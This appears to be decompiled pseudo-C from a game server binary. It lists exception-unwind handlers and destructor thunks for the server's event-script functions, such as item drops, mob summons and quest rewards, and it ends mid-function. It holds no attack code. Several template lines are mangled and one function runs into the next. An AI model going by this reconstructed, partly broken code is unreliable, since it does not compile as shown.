-------------------------------------------------------- void __usercall _L167225(int a1) { AxialListWall::_AxialListWall(*(AxialListMobKillLog **)(a1 - 16)); } //----- (00593918) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AxialListKQResult__QAE_P80_AEXPAVShineObject_ShineObjectClass___ZP80_AEE00K_ZHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593930) -------------------------------------------------------- void __usercall _L166831(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0059393B) -------------------------------------------------------- void __usercall _L166832(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593946) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineDistance_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593950) -------------------------------------------------------- void __usercall _L166912(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 892)); } //----- (0059395B) -------------------------------------------------------- void __usercall _L166913(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00593966) -------------------------------------------------------- void __usercall _L166914(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00593971) -------------------------------------------------------- void __usercall _L166915(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0059397C) -------------------------------------------------------- void __usercall _L166916(int a1) { AxialListMobInAreaCounter::_AxialListMobInAreaCounter((AxialListMobInAreaCounter *)(a1 - 856)); } //----- (00593987) -------------------------------------------------------- void __usercall _L166917(int a1) { AxialListMobInAreaCounter::_AxialListMobInAreaCounter((AxialListMobInAreaCounter *)(a1 - 856)); } //----- (00593992) -------------------------------------------------------- void __usercall _L166918(int a1) { AxialListMobInAreaCounter::_AxialListMobInAreaCounter((AxialListMobInAreaCounter *)(a1 - 856)); } //----- (0059399D) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShinePlayerInArea_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005939B0) -------------------------------------------------------- void __usercall _L167238(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 6708)); } //----- (005939BB) -------------------------------------------------------- void __usercall _L167239(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6704)); } //----- (005939C6) -------------------------------------------------------- void __usercall _L167240(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6448)); } //----- (005939D1) -------------------------------------------------------- void __usercall _L167241(int a1) { AxialListKQResult::_AxialListKQResult((AxialListKQResult *)(a1 - 6192)); } //----- (005939DC) -------------------------------------------------------- void __usercall _L167242(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 6720)); } //----- (005939E7) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineKQResultList_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593A00) -------------------------------------------------------- void __usercall _L167311(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 6700)); } //----- (00593A0B) -------------------------------------------------------- void __usercall _L167312(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6696)); } //----- (00593A16) -------------------------------------------------------- void __usercall _L167313(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6440)); } //----- (00593A21) -------------------------------------------------------- void __usercall _L167314(int a1) { AxialListKQResult::_AxialListKQResult((AxialListKQResult *)(a1 - 6184)); } //----- (00593A2C) -------------------------------------------------------- void __usercall _L167352(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 6184)); } //----- (00593A37) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineKQTop_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593A50) -------------------------------------------------------- void __usercall _L167821(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 576)); } //----- (00593A5B) -------------------------------------------------------- void __usercall _L167822(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00593A66) -------------------------------------------------------- void __usercall _L167823(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00593A80) -------------------------------------------------------- void __usercall _L167950(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 584)); } //----- (00593A8B) -------------------------------------------------------- void __usercall _L167951(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00593A96) -------------------------------------------------------- void __usercall _L167952(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00593AB0) -------------------------------------------------------- void __usercall _L169122(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00593AB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_HV__allocator_H_std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593AD0) -------------------------------------------------------- void __usercall _L169534(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 556)); } //----- (00593ADB) -------------------------------------------------------- void __usercall _L169535(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00593AE6) -------------------------------------------------------- void __usercall _L169536(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00593AFC) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineRange_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593B10) -------------------------------------------------------- void __usercall _L73867(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 20) + 8)); } //----- (00593B30) -------------------------------------------------------- void __usercall _L73894(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00593B50) -------------------------------------------------------- void __usercall _L73962(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00593B70) -------------------------------------------------------- void __usercall _L74019(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (00593B90) -------------------------------------------------------- void __usercall _L177373(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593B9B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShinePrintf_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593BB0) -------------------------------------------------------- void __usercall _L177316(int a1) { AxialListWall::_AxialListWall(*(AxialListMobKillLog **)(a1 - 16)); } //----- (00593BB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AxialListKQReward__QAE_K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593BD0) -------------------------------------------------------- void __usercall _L177532(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00593BD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ali_Work_AxialListFindItemOwner__UAEEPAVShineObject_ShineObjectClass__0K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593BF0) -------------------------------------------------------- void __usercall _L188283(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00593BF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineNPCStand_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593C10) -------------------------------------------------------- void __usercall _L186053(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00593C1B) -------------------------------------------------------- void __usercall _L186054(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593C26) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ScinarioCodeParty_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593C30) -------------------------------------------------------- void __usercall _L178605(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (00593C3B) -------------------------------------------------------- void __usercall _L178606(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593C46) -------------------------------------------------------- void __usercall _L178607(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00593C51) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineTimeLimit_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593C60) -------------------------------------------------------- void __usercall _L178666(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1596)); } //----- (00593C6B) -------------------------------------------------------- void __usercall _L178667_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00593C76) -------------------------------------------------------- void __usercall _L178668(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00593C81) -------------------------------------------------------- void __usercall _L178669(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 1304), 0x100u, 3, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00593C9A) -------------------------------------------------------- void __usercall _L178670(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1560)); } //----- (00593CA5) -------------------------------------------------------- void __usercall _L178671(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 1576)); } //----- (00593CB0) -------------------------------------------------------- void __usercall _L178672(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 1576)); } //----- (00593CBB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineInterruptSet_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593CD0) -------------------------------------------------------- void __usercall _L179017(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 292)); } //----- (00593CDB) -------------------------------------------------------- void __usercall _L179018(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593CE6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__os_ObjectChange_OtherStatement_PineEventScriptNode__IAEGHPAVProcessStack_PineScriptStack__PAHPAVShineObject_ShineObjectClass__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593CF0) -------------------------------------------------------- void __usercall _L179431(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 304)); } //----- (00593CFB) -------------------------------------------------------- void __usercall _L179432(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593D06) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineExchange2Mob_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593D10) -------------------------------------------------------- void __usercall _L179846(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1052)); } //----- (00593D1B) -------------------------------------------------------- void __usercall _L179847(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00593D26) -------------------------------------------------------- void __usercall _L179848(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (00593D31) -------------------------------------------------------- void __usercall _L179849(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00593D3C) -------------------------------------------------------- void __usercall _L179850(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00593D47) -------------------------------------------------------- void __usercall _L179851(int a1) { AxialListMobVanish::_AxialListMobVanish((AxialListMobVanish *)(a1 - 1060)); } //----- (00593D52) -------------------------------------------------------- void __usercall _L179852(int a1) { AxialListMobVanish::_AxialListMobVanish((AxialListMobVanish *)(a1 - 1060)); } //----- (00593D5D) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineObjectVanish_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593D70) -------------------------------------------------------- void __usercall _L179951(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1076)); } //----- (00593D7B) -------------------------------------------------------- void __usercall _L179952(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1040)); } //----- (00593D86) -------------------------------------------------------- void __usercall _L179953(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (00593D91) -------------------------------------------------------- void __usercall _L179954(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593D9C) -------------------------------------------------------- void __usercall _L179955(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00593DA7) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineRegenGroup_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593DC0) -------------------------------------------------------- void __usercall _L180084(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00593DC8) -------------------------------------------------------- void __usercall _L180085(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 36)); } //----- (00593DD0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineWaitUserLogin_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593DE0) -------------------------------------------------------- void __usercall _L180213(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1052)); } //----- (00593DEB) -------------------------------------------------------- void __usercall _L180214(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00593DF6) -------------------------------------------------------- void __usercall _L180215(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00593E01) -------------------------------------------------------- void __usercall _L180216(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (00593E0C) -------------------------------------------------------- void __usercall _L180217(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (00593E17) -------------------------------------------------------- void __usercall _L180218_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (00593E22) -------------------------------------------------------- void __usercall _L180219(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00593E2D) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShinePause_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593E40) -------------------------------------------------------- void __usercall _L180483(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (00593E4B) -------------------------------------------------------- void __usercall _L180484(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00593E56) -------------------------------------------------------- void __usercall _L180485(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593E61) -------------------------------------------------------- void __usercall _L180486(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 544)); } //----- (00593E80) -------------------------------------------------------- void __usercall _L180573(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 552)); } //----- (00593E8B) -------------------------------------------------------- void __usercall _L180574(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00593E96) -------------------------------------------------------- void __usercall _L180575(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593EA1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineSummonMob_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593EB0) -------------------------------------------------------- void __usercall _L180707_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00593EBB) -------------------------------------------------------- void __usercall _L180708(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593EC6) -------------------------------------------------------- void __usercall _L180709(int a1) { AxialListKQEnd::_AxialListKQEnd((AxialListKQEnd *)(a1 - 288)); } //----- (00593ED1) -------------------------------------------------------- void __usercall _L180710(int a1) { AxialListKQEnd::_AxialListKQEnd((AxialListKQEnd *)(a1 - 288)); } //----- (00593EDC) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineQuestResult_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593EF0) -------------------------------------------------------- void __usercall _L180799(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00593EFB) -------------------------------------------------------- void __usercall _L180800(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593F06) -------------------------------------------------------- void __usercall _L180801(int a1) { AxialListKQReward::_AxialListKQReward((AxialListKQReward *)(a1 - 288)); } //----- (00593F11) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineReward_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593F20) -------------------------------------------------------- void __usercall _L180877(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (00593F2B) -------------------------------------------------------- void __usercall _L180878(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593F36) -------------------------------------------------------- void __usercall _L180879(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00593F41) -------------------------------------------------------- void __usercall _L180880(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 540)); } //----- (00593F4C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineBroadcast_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593F60) -------------------------------------------------------- void __usercall _L180993(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1404)); } //----- (00593F6B) -------------------------------------------------------- void __usercall _L180994(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1296)); } //----- (00593F76) -------------------------------------------------------- void __usercall _L180995(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1040)); } //----- (00593F81) -------------------------------------------------------- void __usercall _L180996(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (00593F8C) -------------------------------------------------------- void __usercall _L180997_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00593F97) -------------------------------------------------------- void __usercall _L180998(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593FA2) -------------------------------------------------------- void __usercall _L180999(int a1) { AxialListLinkTo::_AxialListLinkTo((AxialListLinkTo *)(a1 - 1412)); } //----- (00593FAD) -------------------------------------------------------- void __usercall _L181000(int a1) { AxialListLinkToByObserver::_AxialListLinkToByObserver((AxialListLinkToByObserver *)(a1 - 1412)); } //----- (00593FB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineLinkTo_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593FD0) -------------------------------------------------------- void __usercall _L181138(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 504)); } //----- (00593FDB) -------------------------------------------------------- void __usercall _L181139(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593FE6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineItemDrop_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593FF0) -------------------------------------------------------- void __usercall _L181397(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00593FFB) -------------------------------------------------------- void __usercall _L181398(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594006) -------------------------------------------------------- void __usercall _L181399(int a1) { AxialListItemErase4All::_AxialListItemErase4All((AxialListItemErase4All *)(a1 - 284)); } //----- (00594011) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineItemErase_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594020) -------------------------------------------------------- void __usercall _L181597(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 296)); } //----- (0059402B) -------------------------------------------------------- void __usercall _L181598_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594036) -------------------------------------------------------- void __usercall _L181599(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 292)); } //----- (00594041) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineInvenSearch_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594050) -------------------------------------------------------- void __usercall _L181735(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (0059405B) -------------------------------------------------------- void __usercall _L181736(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00594066) -------------------------------------------------------- void __usercall _L181737(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00594071) -------------------------------------------------------- void __usercall _L181738(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0059407C) -------------------------------------------------------- void __usercall _L181739(int a1) { AxialListMobFind::_AxialListMobFind((AxialListMobFind *)(a1 - 816)); } //----- (00594087) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineFindHandle_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005940A0) -------------------------------------------------------- void __usercall _L181865(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 580)); } //----- (005940AB) -------------------------------------------------------- void __usercall _L181866(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (005940B6) -------------------------------------------------------- void __usercall _L181867(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005940C1) -------------------------------------------------------- void __usercall _L181868(int a1) { AxialListPlayerStateSet::_AxialListPlayerStateSet((AxialListPlayerStateSet *)(a1 - 576)); } //----- (005940CC) -------------------------------------------------------- void __usercall _L181869(int a1) { 